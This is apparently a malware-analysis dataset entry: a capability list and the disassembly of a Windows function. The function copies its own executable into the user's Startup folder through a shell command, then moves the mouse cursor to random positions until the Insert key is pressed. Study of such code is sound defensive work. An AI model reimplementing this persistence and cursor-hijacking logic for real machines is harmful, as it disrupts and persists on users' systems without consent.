Function at 0x1400011c0
Capabilities:
Encode data using xor
Execute command
Generate random numbers using a mersenne twister
Get session user name
Log keystrokes via polling
Terminate process

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rdi
push rbp
lea rbp, [rsp - 0x1510]
mov eax, 0x1610
call fcn.140002750
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1500], rax
mov r8d, 0x104
lea rdx, [rbp + 0x12f0]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x140001482
mov qword [rsp + 0x1620], rsi
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x1628], r14
mov dword [rsp + 0x50], 0x101
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
mov eax, dword [0x140003388]
xor r14d, r14d
movsd xmm0, qword [str.copy__]
mov rdi, 0xffffffffffffffff
mov dword [rsp + 0x38], eax
mov rdx, rdi
mov dword [rsp + 0x3c], r14d
lea rax, [rbp + 0x12f0]
movsd qword [rsp + 0x30], xmm0
mov qword [rsp + 0x40], 6
mov qword [rsp + 0x48], 7
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], r14w
jne 0x140001280
cmp rdx, 1
ja 0x1400012b6
lea rbx, [rdx + 6]
lea r8, [rdx + rdx]
mov qword [rsp + 0x40], rbx
lea rdx, [rbp + 0x12f0]
lea rcx, [rsp + 0x3c]
call sub.VCRUNTIME140.dll_memmove
mov word [rsp + rbx*2 + 0x30], r14w
jmp 0x1400012cc
lea r9, [rbp + 0x12f0]
mov qword [rsp + 0x20], rdx
lea rcx, [rsp + 0x30]
call fcn.1400015e0
mov rcx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rax, rcx
sub rax, rsi
cmp rax, 0xc
jb 0x140001318
cmp rcx, 7
lea rax, [rsi + 0xc]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea rdx, str.___C:Users_
mov r8d, 0x18
lea rcx, [rbx + rsi*2]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rsi*2 + 0x18], r14w
jmp 0x140001337
lea r9, str.___C:Users_
mov qword [rsp + 0x20], 0xc
mov edx, 0xc
lea rcx, [rsp + 0x30]
call fcn.1400015e0
lea rax, [rsp + 0x60]
nop dword [rax]
inc rdi
cmp word [rax + rdi*2], r14w
jne 0x140001340
mov rcx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x40]
mov rax, rcx
sub rax, rsi
cmp rdi, rax
ja 0x140001394
cmp rcx, 7
lea rax, [rdi + rsi]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea r8, [rdi + rdi]
lea rdx, [rsp + 0x60]
lea rcx, [rbx + rsi*2]
call sub.VCRUNTIME140.dll_memmove
lea rax, [rsi + rdi]
mov word [rbx + rax*2], r14w
jmp 0x1400013ab
lea r9, [rsp + 0x60]
mov qword [rsp + 0x20], rdi
mov rdx, rdi
lea rcx, [rsp + 0x30]
call fcn.1400015e0
mov rcx, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x40]
mov rax, rcx
mov rsi, qword [rsp + 0x1620]
sub rax, rdi
cmp rax, 0x3f
jb 0x1400013ff
cmp rcx, 7
lea rax, [rdi + 0x3f]
lea rbx, [rsp + 0x30]
mov qword [rsp + 0x40], rax
cmova rbx, qword [rsp + 0x30]
lea rdx, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
mov r8d, 0x7e
lea rcx, [rbx + rdi*2]
call sub.VCRUNTIME140.dll_memmove
mov word [rbx + rdi*2 + 0x7e], r14w
jmp 0x14000141e
lea r9, str.AppDataRoamingMicrosoftWindowsStart_MenuProgramsStartup_
mov qword [rsp + 0x20], 0x3f
mov edx, 0x3f
lea rcx, [rsp + 0x30]
call fcn.1400015e0
cmp qword [rsp + 0x48], 7
lea rcx, [rsp + 0x30]
cmova rcx, qword [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wsystem]
mov rdx, qword [rsp + 0x48]
mov r14, qword [rsp + 0x1628]
cmp rdx, 7
jbe 0x140001482
mov rcx, qword [rsp + 0x30]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000147d
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000147d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400019c4
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x14000149b
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rbp + 0x12e4], 0xffffffff
mov edx, 1
mov dword [rsp + 0x64], eax
nop dword [rax]
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x64], eax
inc rdx
cmp rdx, 0x270
jb 0x1400014c0
mov ecx, 0x2d
mov dword [rsp + 0x60], 0x270
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jne 0x1400015ab
nop dword [rax + rax]
lea rcx, [rsp + 0x60]
call fcn.1400017c0
mov ecx, eax
imul rbx, rcx, 0x781
cmp ebx, 0x781
jae 0x14000153e
cmp ebx, 0x4eb
jae 0x14000153e
lea rcx, [rsp + 0x60]
call fcn.1400017c0
mov ecx, eax
imul rbx, rcx, 0x781
cmp ebx, 0x4eb
jb 0x140001523
lea rcx, [rsp + 0x60]
shr rbx, 0x20
call fcn.1400017c0
mov ecx, eax
mov edi, ebx
imul rdx, rcx, 0x781
cmp edx, 0x781
jae 0x14000158b
cmp edx, 0x4eb
jae 0x14000158b
nop word [rax + rax]
lea rcx, [rsp + 0x60]
call fcn.1400017c0
mov edx, eax
imul rdx, rdx, 0x781
cmp edx, 0x4eb
jb 0x140001570
shr rdx, 0x20
mov ecx, edi
call qword [sym.imp.USER32.dll_SetCursorPos]
mov ecx, 0x2d
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140001500
xor eax, eax
mov rcx, qword [rbp + 0x1500]
xor rcx, rsp
call fcn.140001960
lea r11, [rsp + 0x1610]
mov rbx, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret